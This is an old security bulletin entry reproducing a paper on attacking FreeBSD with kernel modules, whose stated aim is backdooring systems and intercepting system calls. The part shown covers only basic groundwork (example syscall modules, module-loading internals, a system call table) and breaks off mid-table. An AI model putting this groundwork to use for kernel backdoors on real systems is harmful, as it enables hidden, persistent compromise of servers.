12th Jul 1999 [SBWID-113]
COMMAND
kernel (kernel modules)
SYSTEMS AFFECTED
FreeBSD (other BSD systems?)
PROBLEM
Following is based on THC and pragmatic's paper "Attacking FreeBSD
with Kernel Modules". FreeBSD is an often used server operating
system. Lots of ISPs, universities and some firms are using it.
This text will show you that most Linux LKMs can be ported to BSD
systems (FreeBSD). On FreeBSD we can even do some things that
were harder to implement on Linux systems. This text only deals
with ways to backdoor/intercept system calls. For those people
new to BSD and module techniques, please read Complete Linux
Loadable Kernel Module' article (http://r3wt.base.org). Of course
this FreeBSD text has a basic section, but the basic part of the
Linux text is much more comprehensive and easier to understand.
The Linux text will give you the basic ideas for understanding
most stuff mentioned here. People who already did some kernel
coding under FreeBSD, who can read and understand kernel code and
those who did some LKM hacking on Linux boxes can read on without
any problems. Bear in mind that the main aim of this text is to
show some new ideas to attack/backdoor FreeBSD systems, and not to
teach you FreeBSD kernel coding. All modules were developed on a
FreeBSD 3.1 system (x86). Authors used the new KLD scheme -
introduced by FreeBSD 3.0 - to insert kernel code. Older FreeBSD
systems which work with LKMs (/dev/lkm) can also be used, but
there must be some modifications to the code in order to make
them work. The general ideas in this text should also work on
OpenBSD and NetBSD. The problem concerning FreeBSD is the lack
of documentation. There is only a very small and elite group of
programmers working on the kernel. At the time of writing (May
'99) authors were not able to find any good documentation helping
to dive deep into the kernel. Because of this there may be some
minor errors in some explainations given, but every piece of code
is working and the general view should be correct.
Before starting to explain here's a module example which installs
a system call that will print a simple message on the screen.
(included the user space part). You may know this example, it was
taken from the FreeBSD distribution (only added some comments).
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
/*this is the function which represents our system call*/
static int
hello (struct proc *p, void *arg)
{
printf ("hello kernel\n");
return 0;
}
/*on FreeBSD every system call is described by a sysent structure, which holds
the corresponding system call function (here hello) and the appropriate count
of arguments (here 0)*/
static struct sysent hello_sysent = {
0, /* sy_narg */
hello /* sy_call */
};
/*every system call has a certain number (called slot or offset on BSD). This
number represents the index in the global sysent list holding every syscall.
BSD is able to search a free slot for a syscall (by setting it to NO_SYSCALL)
which is used here.*/
static int offset = NO_SYSCALL;
/*this function can be compared to the init_module & cleanup_module functions
on Linux. The differentiation is done via the cmd variable.*/
static int
load (struct module *module, int cmd, void *arg)
{
int error = 0;
/*what do we have?*/
switch (cmd) {
/*we have a load*/
case MOD_LOAD :
printf ("syscall loaded at %d\n", offset);
break;
/*we have an unload*/
case MOD_UNLOAD :
printf ("syscall unloaded from %d\n", offset);
break;
default :
error = EINVAL;
break;
}
return error;
}
/*This is the most tricky part of this module. That macro will install the
module and calls the required functions. We will take a deeper look at this
later.*/
SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
Compiling this module is very easy on FreeBSD. We just use an
universal Makefile which is very easy because of the nice MK files
used by FreeBSD (BSD). Here we go:
SRCS = helloworld.c
KMOD = helloworld
KO = ${KMOD}.ko
KLDMOD = t
.include <bsd.kmod.mk>
Aren't those MK file a good idea. So after comiling you get a
file called helloworld.ko. This file is in ELF format (so no pure
object file). Take a look at the FreeBSD user space example
calling this system call.
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>
int
main(int argc, char **argv)
{
char *endptr;
int syscall_num;
struct module_stat stat;
stat.version = sizeof(stat);
/*modstat will retrieve the module_stat structure for our module named
syscall (see the SYSCALL_MODULE macro which sets the name to syscall)*/
modstat(modfind("syscall"), &stat);
/*extract the slot (syscall) number*/
syscall_num = stat.data.intval;
/*and call it without any arguments (because we didn't include support for
arguments*/
return syscall (syscall_num);
}
You can compile this the following way (it's too easy to waste
time with a Makefile):
# gcc -o call call.c
Now you have a working module which will install a system call you
can call from user space with this little call program. You can
load the module with
# kldload ./helloworld.ko
and unload with
# kldunlod helloworld
with
# kldstat
you will get a list of loaded link files (NOT modules). Before
reading on, you should understand the global scheme used in the
sources presented here.
There is a big difference between the output presented by kldstat
and the loaded modules. A module on FreeBSD means some part of the
kernel, an exec driver, a system call module, a device driver...
The kernel itself contains some modules (FS support for example).
A link file on the other hand is something like a wrapper which
can hold lots of modules. So our helloworld example from above is
one module wrapped in the link file helloworld.ko. So in general
words: A module is just a bit of structured kernel code that
represents a certain driver (exec format, device, for example) or
whatever. A link file is just a file holding one or more modules
which will be inserted into the kernel. For those who want to
know it exactly; here is the definition by Doug Rabson: Kernel
Linker. The kernel linker simply dynamically loads code into the
kernel. A symbol table is included in the kernel by ld(1) in the
same way as for dynamically linked user programs. As files are
loaded, the code is relocated and any unresolved symbols are
matched against the kernel's symbol table. Files can also include
a list of dependencies to allow code which is common to several
files to be loaded automatically. The kernel can load files
without help from a user program (in contrast to the older LKM
system) and the kernel bootstrap can also pre-load files, allowing
devices which needed before the root disk is available to be
dynamically loaded instead of statically linked into the kernel.
As code is loaded, any SYSINITs which it contains are run. This
makes it possible to write code which is identical whether it is
statically or dynamically loaded. When a file is unloaded, a
similar list of functions defined by SYSUNINIT is run.
Layered on top of the kernel linker is the module system. It uses
a SYSINIT to implement a simple event system for code which is
loaded. The idea is that a piece of code defines a module (using
DECLARE_MODULE) and supplies a handler routine. The handler is
called at load, unload and shutdown to allow the module to
initialise itself. Various kernel subsystems provide generic
handler functions for registering filesystems, devices or whatever
and they generally provide a macro which wraps DECLARE_MODULE
(e.g. VFS_SET).
This example is just a proof of concept. It shows how to pack two
modules in one file using the linker mechanics (two SYSINITs
wrapped by SYSCALL_MODULE macro).
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
/*this is the function our first syscall module (syscall_1) will use*/
static int
hello_1 (struct proc *p, void *arg)
{
printf ("hello kernel from syscall_1\n");
return 0;
}
/*this is the function our second syscall module (syscall_2) will use*/
static int
hello_2 (struct proc *p, void *arg)
{
printf ("hello kernel from syscall_2\n");
return 0;
}
/*first sysent structure which describes the first system call*/
static struct sysent hello_sysent_1 = {
0, /* sy_narg */
hello_1 /* sy_call */
};
/*second sysent structure which describes the second system call*/
static struct sysent hello_sysent_2 = {
0, /* sy_narg */
hello_2 /* sy_call */
};
/*both system call slots (numbers) should be selected by the kernel*/
static int offset_1 = NO_SYSCALL;
static int offset_2 = NO_SYSCALL;
/*the two load functions*/
static int
load_1 (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
printf ("syscall_1 loaded at %d\n", offset_1);
break;
case MOD_UNLOAD :
printf ("syscall_1 unloaded from %d\n", offset_1);
break;
default :
error = EINVAL;
break;
}
return error;
}
static int
load_2 (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
printf ("syscall_2 loaded at %d\n", offset_2);
break;
case MOD_UNLOAD :
printf ("syscall_2 unloaded from %d\n", offset_2);
break;
default :
error = EINVAL;
break;
}
return error;
}
/*install the first module (NAME : syscall_1)*/
SYSCALL_MODULE(syscall_1, &offset_1, &hello_sysent_1, load_1, NULL);
/*install the second module (NAME : syscall_2)*/
SYSCALL_MODULE(syscall_2, &offset_2, &hello_sysent_2, load_2, NULL);
You can use the same Makefile for the link file above. As you can
see author duplicated every item in this file. This way he
implemented two totally independend modules packed in one link
file. The name of the first module is 'syscall_1' and the second
module's name is 'syscall_2'. The following piece of code is the
needed user space part which will find both modules and call their
system calls.
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>
int
main(int argc, char **argv)
{
char *endptr;
int syscall_num;
struct module_stat stat;
/*first module*/
stat.version = sizeof(stat);
modstat(modfind("syscall_1"), &stat);
syscall_num = stat.data.intval;
syscall (syscall_num);
/*second module*/
stat.version = sizeof(stat);
modstat(modfind("syscall_2"), &stat);
syscall_num = stat.data.intval;
syscall (syscall_num);
}
After this example you should understand the concept of packing
modules in link files.
Those without a going C and BSD knowledge have to 'fight' with
this part. This section is only a very brief and not very deep
introduction into the module / link file handling made by the
kernel, but it is enough to understand the rest of this text. The
following code represents the helloworld example in a form where
author 'resolved' the SYSCALL_MODULE macro. He just coded
everything by hand (only the last part [SYSCALL_MODULE macro]
changed) so things become clearer:
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
static int
hello (struct proc *p, void *arg)
{
printf ("hello kernel from syscall_1\n");
return 0;
}
static struct sysent hello_sysent = {
0, /* sy_narg */
hello /* sy_call */
};
static int offset = NO_SYSCALL;
static int
load (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
printf ("syscall loaded at %d\n", offset);
break;
case MOD_UNLOAD :
printf ("syscall unloaded from %d\n", offset);
break;
default :
error = EINVAL;
break;
}
return error;
}
/*The following lines do the same as :
--------------------------------------
SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
*/
/*fill the X_syscall_mod structure made only for syscall modules*/
static struct syscall_module_data syscall_syscall_mod = {
load, NULL, &offset, &hello_sysent
};
/*fill the module structure; the same for any module*/
static moduledata_t syscall_mod = {
"syscall",
syscall_module_handler, /*special handler for syscall modules*/
&syscall_syscall_mod /*speciel syscall module data*/
};
/*the sysinit structure for starting / registering*/
static struct sysinit syscall_sys_init = {
SI_SUB_DRIVERS, /*SUBSYSTEM*/
SI_ORDER_MIDDLE, /*ORDER*/
module_register_init, /*the same for any module, register function*/
&syscall_mod /*module specific data*/
};
/*we want hack at this layer, it just initializing some regions*/
static void const * const
__set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;
__asm(".section .set.""sysinit_set"",\"aw\"");
__asm(".long " "syscall_sys_init");
__asm(".previous");
Now let's start from the kldload command which is implemented as
a system call in kern_linker.c. This system call first checks the
securelevel (if > 0 then it won't work) after this it will check
for UID=0. Then the kernel checks whether this link file is
already loaded, if so it will abort. If everything is ok so far,
it will call linker_load_file (kern_linker.c). After some checks
this function will fill a linker_file structure and pass it to
linker_file_sysinit (kern_linker.c). This function will use the
syscall_sysinit_set structure (see example above) for
initialization. That structure is defined in kernel.h. Normally
it is defined by macros (we used the hand-made approach to see
things clear). Here is the structure:
struct sysinit {
unsigned int subsystem; /* subsystem identifier*/
unsigned int order; /* init order within subsystem*/
void (*func) __P((void *)); /* init function*/
void *udata; /* multiplexer/argument */
si_elem_t type; /* sysinit_elem_type*/
};
The type field is set automatically so author did not set it by
hand. The subsystem and order codes are also defined in kernel.h.
The function pointer points to a function that is called at
module startup with udata as parameter. As you can see in the
example above the module_register_init function (kern_module.c)
is called with the module data structure holding the module
specific data. So our next step must be this function. This
function extracts the data from the argument it gets (the module
data structure). After this the module_register function
(kern_module.c) is called with the extracted data. This function
first sets some fields of the module structure (represented by a
pointer to it called module_t) which is used by the kernel to
descibe any loaded module. After setting every field the module
(represented by the now filled module structure) is added to the
global module list (called modules). For a better understanding
her's the module structure here plus a short description:
struct module {
/*the first two entries are just for global module handling*/
TAILQ_ENTRY(module) link;
TAILQ_ENTRY(module) flink;
/*this linker_file structure describes the link file the module comes from*/
struct linker_file* file;
/*references to this module (reference cound)*/
int refs;
/*id of this module*/
int id;
/*name of this module*/
char *name;
/*the mod handler (in our case the load function)*/
modeventhand_t handler;
/*arguments to the mod handler*/
void *arg;
/*some - for us not very interesting - data fields*/
modspecific_t data;
}
Finally the module_register function calls the modeventhand_t
field of the module structure (in our case : the
syscall_module_handler) with the MOD_LOAD command (cmd see
example) argument. This function is defined in kern_syscalls.c.
On MOD_LOAD it calls syscall_register (kern_syscalls.c) with the
new sysentry and other stuff needed for installing the system
call. So let's say that syscall_register installed the system
call and returns (this stuff is not so interesting for us, we
will use a more easy way to 'hack' system calls). The last piece
of code in syscall_module_handler calls the self-defined load
function (see example) with the same command field (on startup
MOD_LOAD). This way the module developer is able to do his own
stuff on LOAD and UNLOAD. Now we are ready. The module is loaded
and started, and the system call is installed. Recall that this
example was written for a specific module - a SYSCALL_MODULE.
There are other module types (like device drivers etc.). Please
read the Kernel sources again and again and compare them to this
part. Everything should be clear.
As said before the helloworld example module is a special so
called SYSCALL_MODULE that is used to install a certain system
call. FreeBSD provides other macros and module layouts for
different aims. Take a look at the driver example that is
shipped with FreeBSD. The next section will show how to become
independent from those standard module layouts.
With FreeBSD 3.x the KLD scheme provides no MISC_MODULES like the
LKM one did. So first modules (like a hide module etc.) did the
hacking part, but also installed a system call (SYSCALL_MODULES).
This was no good solution. So author decided to create a general
module layout which will do the same like the old MISC_MODULES on
LKM systems: just call a 'load' function and nothing else. The
following piece of code represents a MISC_MODULE for FreeBSD 3.x
systems using the KLD method:
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/linker.h>
#include <sys/sysproto.h>
#include <sys/sysent.h>
#include <sys/proc.h>
#include <sys/syscall.h>
/*our own 'load' function*/
static int
dummy_handler(struct module *mod, int what, void *arg)
{
switch(what)
{
case MOD_LOAD :
printf("LOAD\n");
break;
case MOD_UNLOAD :
printf("UNLOAD\n");
break;
}
return 0;
}
/*NOTE : The following stuff 'links' our module into the kernel and calls
dummy_handler as our installation routine. I didn't use any macro
supplied by some header file for making module coding a bit easier.
But this way you will see every piece of code responsible for loading
the module.
*/
/*fill the module structure*/
static moduledata_t dummy_mod = {
"dummy",
dummy_handler, /*normally you would find something like
syscall_module_handler here*/
NULL /*normally you would find something like
syscall_module_data here (argument for the
syscall_module_handler)*/
};
/*the rest is the same*/
static struct sysinit syscall_sys_init = {
SI_SUB_DRIVERS, /*SUBSYSTEM*/
SI_ORDER_MIDDLE, /*ORDER*/
module_register_init, /*the same for any module*/
&dummy_mod /*data*/
};
/*We can leave this the same, it will work without modification...*/
static void const * const
__set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;
__asm(".section .set.""sysinit_set"",\"aw\"");
__asm(".long " "syscall_sys_init");
__asm(".previous");
Compile this module and load it. The only thing it will do is
printing a string on load and unload. The module above is a bit
too long for everyday coding, so it's good to use one macro
defined by the system which will make the module a bit shorter
but acting the same way. Replace the last lines with
...
static moduledata_t dummy_mod = {
"dummy",
dummy_handler,
NULL
};
DECLARE_MODULE(dummy, dummy_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
Now our module is quite short and works like a MISC_MODULE on LKM
systems. Any code we want to execute on the kernel layer can be
written into the dummy_handler function.
Linux LKM article did a quite good job in explaining the way
system calls in general work. The following list represents every
system call that is present by startup on a FreeBSD 3.1 system:
struct sysent sysent[] = {
{ 0, (sy_call_t *)nosys }, /* 0 = syscall */
{ 1, (sy_call_t *)exit }, /* 1 = exit */
{ 0, (sy_call_t *)fork }, /* 2 = fork */
{ 3, (sy_call_t *)read }, /* 3 = read */
{ 3, (sy_call_t *)write }, /* 4 = write */
{ 3, (sy_call_t *)open }, /* 5 = open */
{ 1, (sy_call_t *)close }, /* 6 = close */
{ 4, (sy_call_t *)wait4 }, /* 7 = wait4 */
{ compat(2,creat) }, /* 8 = old creat */
{ 2, (sy_call_t *)link }, /* 9 = link */
{ 1, (sy_call_t *)unlink }, /* 10 = unlink */
{ 0, (sy_call_t *)nosys }, /* 11 = obsolete execv */
{ 1, (sy_call_t *)chdir }, /* 12 = chdir */
{ 1, (sy_call_t *)fchdir }, /* 13 = fchdir */
{ 3, (sy_call_t *)mknod }, /* 14 = mknod */
{ 2, (sy_call_t *)chmod }, /* 15 = chmod */
{ 3, (sy_call_t *)chown }, /* 16 = chown */
{ 1, (sy_call_t *)obreak }, /* 17 = break */
{ 3, (sy_call_t *)getfsstat }, /* 18 = getfsstat */
{ compat(3,lseek) }, /* 19 = old lseek */
{ 0, (sy_call_t *)getpid }, /* 20 = getpid */
{ 4, (sy_call_t *)mount }, /* 21 = mount */
{ 2, (sy_call_t *)unmount }, /* 22 = unmount */
{ 1, (sy_call_t *)setuid }, /* 23 = setuid */
{ 0, (sy_call_t *)getuid }, /* 24 = getuid */
{ 0, (sy_call_t *)geteuid }, /* 25 = geteuid */
{ 4, (sy_call_t *)ptrace }, /* 26 = ptrace */
{ 3, (sy_call_t *)recvmsg }, /* 27 = recvmsg */
{ 3, (sy_call_t *)sendmsg }, /* 28 = sendmsg */
{ 6, (sy_call_t *)recvfrom }, /* 29 = recvfrom */
{ 3, (sy_call_t *)accept }, /* 30 = accept */
{ 3, (sy_call_t *)getpeername }, /* 31 = getpeername */
{ 3, (sy_call_t *)getsockname }, /* 32 = getsockname */
{ 2, (sy_call_t *)access }, /* 33 = access */
{ 2, (sy_call_t *)chflags }, /* 34 = chflags */
{ 2, (sy_call_t *)fchflags }, /* 35 = fchflags */
{ 0, (sy_call_t *)sync }, /* 36 = sync */
{ 2, (sy_call_t *)kill }, /* 37 = kill */
{ compat(2,stat) }, /* 38 = old stat */
{ 0, (sy_call_t *)getppid }, /* 39 = getppid */
{ compat(2,lstat) }, /* 40 = old lstat */
{ 1, (sy_call_t *)dup }, /* 41 = dup */
{ 0, (sy_call_t *)pipe }, /* 42 = pipe */
{ 0, (sy_call_t *)getegid }, /* 43 = getegid */
{ 4, (sy_call_t *)profil }, /* 44 = profil */
{ 4, (sy_call_t *)ktrace }, /* 45 = ktrace */
{ 3, (sy_call_t *)sigaction }, /* 46 = sigaction */
{ 0, (sy_call_t *)getgid }, /* 47 = getgid */
{ 2, (sy_call_t *)sigprocmask }, /* 48 = sigprocmask */
{ 2, (sy_call_t *)getlogin }, /* 49 = getlogin */
{ 1, (sy_call_t *)setlogin }, /* 50 = setlogin */
{ 1, (sy_call_t *)acct }, /* 51 = acct */
{ 0, (sy_call_t *)sigpending }, /* 52 = sigpending */
{ 2, (sy_call_t *)sigaltstack }, /* 53 = sigaltstack */
{ 3, (sy_call_t *)ioctl }, /* 54 = ioctl */
{ 1, (sy_call_t *)reboot }, /* 55 = reboot */
{ 1, (sy_call_t *)revoke }, /* 56 = revoke */
{ 2, (sy_call_t *)symlink }, /* 57 = symlink */
{ 3, (sy_call_t *)readlink }, /* 58 = readlink */
{ 3, (sy_call_t *)execve }, /* 59 = execve */
{ 1, (sy_call_t *)umask }, /* 60 = umask */
{ 1, (sy_call_t *)chroot }, /* 61 = chroot */
{ compat(2,fstat) }, /* 62 = old fstat */
{ compat(4,getkerninfo) }, /* 63 = old getkerninfo */
{ compat(0,getpagesize) }, /* 64 = old getpagesize */
{ 3, (sy_call_t *)msync }, /* 65 = msync */
{ 0, (sy_call_t *)vfork }, /* 66 = vfork */
{ 0, (sy_call_t *)nosys }, /* 67 = obsolete vread */
{ 0, (sy_call_t *)nosys }, /* 68 = obsolete vwrite */
{ 1, (sy_call_t *)sbrk }, /* 69 = sbrk */
{ 1, (sy_call_t *)sstk }, /* 70 = sstk */
{ compat(6,mmap) }, /* 71 = old mmap */
{ 1, (sy_call_t *)ovadvise }, /* 72 = vadvise */
{ 2, (sy_call_t *)munmap }, /* 73 = munmap */
{ 3, (sy_call_t *)mprotect }, /* 74 = mprotect */
{ 3, (sy_call_t *)madvise }, /* 75 = madvise */
{ 0, (sy_call_t *)nosys }, /* 76 = obsolete vhangup */
{ 0, (sy_call_t *)nosys }, /* 77 = obsolete vlimit */
{ 3, (sy_call_t *)mincore }, /* 78 = mincore */
{ 2, (sy_call_t *)getgroups }, /* 79 = getgroups */
{ 2, (sy_call_t *)setgroups }, /* 80 = setgroups */
{ 0, (sy_call_t *)getpgrp }, /* 81 = getpgrp */
{ 2, (sy_call_t *)setpgid }, /* 82 = setpgid */
{ 3, (sy_call_t *)setitimer }, /* 83 = setitimer */
{ compat(0,wait) }, /* 84 = old wait */
{ 1, (sy_call_t *)swapon }, /* 85 = swapon */
{ 2, (sy_call_t *)getitimer }, /* 86 = getitimer */
{ compat(2,gethostname) }, /* 87 = old gethostname */
{ compat(2,sethostname) }, /* 88 = old sethostname */
{ 0, (sy_call_t *)getdtablesize }, /* 89 = getdtablesize */
{ 2, (sy_call_t *)dup2 }, /* 90 = dup2 */
{ 0, (sy_call_t *)nosys }, /* 91 = getdopt */
{ 3, (sy_call_t *)fcntl }, /* 92 = fcntl */
{ 5, (sy_call_t *)select }, /* 93 = select */
{ 0, (sy_call_t *)nosys }, /* 94 = setdopt */
{ 1, (sy_call_t *)fsync }, /* 95 = fsync */
{ 3, (sy_call_t *)setpriority }, /* 96 = setpriority */
{ 3, (sy_call_t *)socket }, /* 97 = socket */
{ 3, (sy_call_t *)connect }, /* 98 = connect */
{ compat(3,accept) }, /* 99 = old accept */
{ 2, (sy_call_t *)getpriority }, /* 100 = getpriority */
{ compat(4,send) }, /* 101 = old send */
{ compat(4,recv) }, /* 102 = old recv */
{ 1, (sy_call_t *)sigreturn }, /* 103 = sigreturn */
{ 3, (sy_call_t *)bind }, /* 104 = bind */
{ 5, (sy_call_t *)setsockopt }, /* 105 = setsockopt */
{ 2, (sy_call_t *)listen }, /* 106 = listen */
{ 0, (sy_call_t *)nosys }, /* 107 = obsolete vtimes */
{ compat(3,sigvec) }, /* 108 = old sigvec */
{ compat(1,sigblock) }, /* 109 = old sigblock */
{ compat(1,sigsetmask) }, /* 110 = old sigsetmask */
{ 1, (sy_call_t *)sigsuspend }, /* 111 = sigsuspend */
{ compat(2,sigstack) }, /* 112 = old sigstack */
{ compat(3,recvmsg) }, /* 113 = old recvmsg */
{ compat(3,sendmsg) }, /* 114 = old sendmsg */
{ 0, (sy_call_t *)nosys }, /* 115 = obsolete vtrace */
{ 2, (sy_call_t *)gettimeofday }, /* 116 = gettimeofday */
{ 2, (sy_call_t *)getrusage }, /* 117 = getrusage */
{ 5, (sy_call_t *)getsockopt }, /* 118 = getsockopt */
{ 0, (sy_call_t *)nosys }, /* 119 = resuba */
{ 3, (sy_call_t *)readv }, /* 120 = readv */
{ 3, (sy_call_t *)writev }, /* 121 = writev */
{ 2, (sy_call_t *)settimeofday }, /* 122 = settimeofday */
{ 3, (sy_call_t *)fchown }, /* 123 = fchown */
{ 2, (sy_call_t *)fchmod }, /* 124 = fchmod */
{ compat(6,recvfrom) }, /* 125 = old recvfrom */
{ 2, (sy_call_t *)setreuid }, /* 126 = setreuid */
{ 2, (sy_call_t *)setregid }, /* 127 = setregid */
{ 2, (sy_call_t *)rename }, /* 128 = rename */
{ compat(2,truncate) }, /* 129 = old truncate */
{ compat(2,ftruncate) }, /* 130 = old ftruncate */
{ 2, (sy_call_t *)flock }, /* 131 = flock */
{ 2, (sy_call_t *)mkfifo }, /* 132 = mkfifo */
{ 6, (sy_call_t *)sendto }, /* 133 = sendto */
{ 2, (sy_call_t *)shutdown }, /* 134 = shutdown */
{ 4, (sy_call_t *)socketpair }, /* 135 = socketpair */
{ 2, (sy_call_t *)mkdir }, /* 136 = mkdir */
{ 1, (sy_call_t *)rmdir }, /* 137 = rmdir */
{ 2, (sy_call_t *)utimes }, /* 138 = utimes */
{ 0, (sy_call_t *)nosys }, /* 139 = obsolete 4.2 sigreturn */
{ 2, (sy_call_t *)adjtime }, /* 140 = adjtime */
{ compat(3,getpeername) }, /* 141 = old getpeername */
{ compat(0,gethostid) }, /* 142 = old gethostid */
{ compat(1,sethostid) }, /* 143 = old sethostid */
{ compat(2,getrlimit) }, /* 144 = old getrlimit */
{ compat(2,setrlimit) }, /* 145 = old setrlimit */
{ compat(2,killpg) }, /* 146 = old killpg */
{ 0, (sy_call_t *)setsid }, /* 147 = setsid */
{ 4, (sy_call_t *)quotactl }, /* 148 = quotactl */
{ compat(0,quota) }, /* 149 = old quota */
{ compat(3,getsockname) }, /* 150 = old getsockname */
{ 0, (sy_call_t *)nosys }, /* 151 = sem_lock */
{ 0, (sy_call_t *)nosys }, /* 152 = sem_wakeup */
{ 0, (sy_call_t *)nosys }, /* 153 = asyncdaemon */
{ 0, (sy_call_t *)nosys }, /* 154 = nosys */
{ 2, (sy_call_t *)nosys }, /* 155 = nfssvc */
{ compat(4,getdirentries) }, /* 156 = old getdirentries */
{ 2, (sy_call_t *)statfs }, /* 157 = statfs */
{ 2, (sy_call_t *)fstatfs }, /* 158 = fstatfs */
{ 0, (sy_call_t *)nosys }, /* 159 = nosys */
{ 0, (sy_call_t *)nosys }, /* 160 = nosys */
{ 2, (sy_call_t *)nosys }, /* 161 = getfh */
{ 2, (sy_call_t *)getdomainname }, /* 162 = getdomainname */
{ 2, (sy_call_t *)setdomainname }, /* 163 = setdomainname */
{ 1, (sy_call_t *)uname }, /* 164 = uname */
{ 2, (sy_call_t *)sysarch }, /* 165 = sysarch */
{ 3, (sy_call_t *)rtprio }, /* 166 = rtprio */
{ 0, (sy_call_t *)nosys }, /* 167 = nosys */
{ 0, (sy_call_t *)nosys }, /* 168 = nosys */
{ 5, (sy_call_t *)semsys }, /* 169 = semsys */
{ 6, (sy_call_t *)msgsys }, /* 170 = msgsys */
{ 4, (sy_call_t *)shmsys }, /* 171 = shmsys */
{ 0, (sy_call_t *)nosys }, /* 172 = nosys */
{ 0, (sy_call_t *)nosys }, /* 173 = nosys */
{ 0, (sy_call_t *)nosys }, /* 174 = nosys */
{ 0, (sy_call_t *)nosys }, /* 175 = nosys */
{ 1, (sy_call_t *)ntp_adjtime }, /* 176 = ntp_adjtime */
{ 0, (sy_call_t *)nosys }, /* 177 = sfork */
{ 0, (sy_call_t *)nosys }, /* 178 = getdescriptor */
{ 0, (sy_call_t *)nosys }, /* 179 = setdescriptor */
{ 0, (sy_call_t *)nosys }, /* 180 = nosys */
{ 1, (sy_call_t *)setgid }, /* 181 = setgid */
{ 1, (sy_call_t *)setegid }, /* 182 = setegid */
{ 1, (sy_call_t *)seteuid }, /* 183 = seteuid */
{ 0, (sy_call_t *)nosys }, /* 184 = lfs_bmapv */
{ 0, (sy_call_t *)nosys }, /* 185 = lfs_markv */
{ 0, (sy_call_t *)nosys }, /* 186 = lfs_segclean */
{ 0, (sy_call_t *)nosys }, /* 187 = lfs_segwait */
{ 2, (sy_call_t *)stat }, /* 188 = stat */
{ 2, (sy_call_t *)fstat }, /* 189 = fstat */
{ 2, (sy_call_t *)lstat }, /* 190 = lstat */
{ 2, (sy_call_t *)pathconf }, /* 191 = pathconf */
{ 2, (sy_call_t *)fpathconf }, /* 192 = fpathconf */
{ 0, (sy_call_t *)nosys }, /* 193 = nosys */
{ 2, (sy_call_t *)getrlimit }, /* 194 = getrlimit */
{ 2, (sy_call_t *)setrlimit }, /* 195 = setrlimit */
{ 4, (sy_call_t *)getdirentries }, /* 196 = getdirentries */
{ 8, (sy_call_t *)mmap }, /* 197 = mmap */
{ 0, (sy_call_t *)nosys }, /* 198 = __syscall */
{ 5, (sy_call_t *)lseek }, /* 199 = lseek */
{ 4, (sy_call_t *)truncate }, /* 200 = truncate */
{ 4, (sy_call_t *)ftruncate }, /* 201 = ftruncate */
{ 6, (sy_call_t *)__sysctl }, /* 202 = __sysctl */
{ 2, (sy_call_t *)mlock }, /* 203 = mlock */
{ 2, (sy_call_t *)munlock }, /* 204 = munlock */
{ 1, (sy_call_t *)undelete }, /* 205 = undelete */
{ 2, (sy_call_t *)futimes }, /* 206 = futimes */
{ 1, (sy_call_t *)getpgid }, /* 207 = getpgid */
{ 0, (sy_call_t *)nosys }, /* 208 = newreboot */
{ 3, (sy_call_t *)poll }, /* 209 = poll */
{ 0, (sy_call_t *)lkmnosys }, /* 210 = lkmnosys */
{ 0, (sy_call_t *)lkmnosys }, /* 211 = lkmnosys */
{ 0, (sy_call_t *)lkmnosys }, /* 212 = lkmnosys */
{ 0, (sy_call_t *)lkmnosys }, /* 213 = lkmnosys */
{ 0, (sy_call_t *)lkmnosys }, /* 214 = lkmnosys */
{ 0, (sy_call_t *)lkmnosys }, /* 215 = lkmnosys */
{ 0, (sy_call_t *)lkmnosys }, /* 216 = lkmnosys */
{ 0, (sy_call_t *)lkmnosys }, /* 217 = lkmnosys */
{ 0, (sy_call_t *)lkmnosys }, /* 218 = lkmnosys */
{ 0, (sy_call_t *)lkmnosys }, /* 219 = lkmnosys */
{ 4, (sy_call_t *)__semctl }, /* 220 = __semctl */
{ 3, (sy_call_t *)semget }, /* 221 = semget */
{ 3, (sy_call_t *)semop }, /* 222 = semop */
{ 1, (sy_call_t *)semconfig }, /* 223 = semconfig */
{ 3, (sy_call_t *)msgctl }, /* 224 = msgctl */
{ 2, (sy_call_t *)msgget }, /* 225 = msgget */
{ 4, (sy_call_t *)msgsnd }, /* 226 = msgsnd */
{ 5, (sy_call_t *)msgrcv }, /* 227 = msgrcv */
{ 3, (sy_call_t *)shmat }, /* 228 = shmat */
{ 3, (sy_call_t *)shmctl }, /* 229 = shmctl */
{ 1, (sy_call_t *)shmdt }, /* 230 = shmdt */
{ 3, (sy_call_t *)shmget }, /* 231 = shmget */
{ 2, (sy_call_t *)clock_gettime }, /* 232 = clock_gettime */
{ 2, (sy_call_t *)clock_settime }, /* 233 = clock_settime */
{ 2, (sy_call_t *)clock_getres }, /* 234 = clock_getres */
{ 0, (sy_call_t *)nosys }, /* 235 = timer_create */
{ 0, (sy_call_t *)nosys }, /* 236 = timer_delete */
{ 0, (sy_call_t *)nosys }, /* 237 = timer_settime */
{ 0, (sy_call_t *)nosys }, /* 238 = timer_gettime */
{ 0, (sy_call_t *)nosys }, /* 239 = timer_getoverrun */
{ 2, (sy_call_t *)nanosleep }, /* 240 = nanosleep */
{ 0, (sy_call_t *)nosys }, /* 241 = nosys */
{ 0, (sy_call_t *)nosys }, /* 242 = nosys */
{ 0, (sy_call_t *)nosys }, /* 243 = nosys */
{ 0, (sy_call_t *)nosys }, /* 244 = nosys */
{ 0, (sy_call_t *)nosys }, /* 245 = nosys */
{ 0, (sy_call_t *)nosys }, /* 246 = nosys */
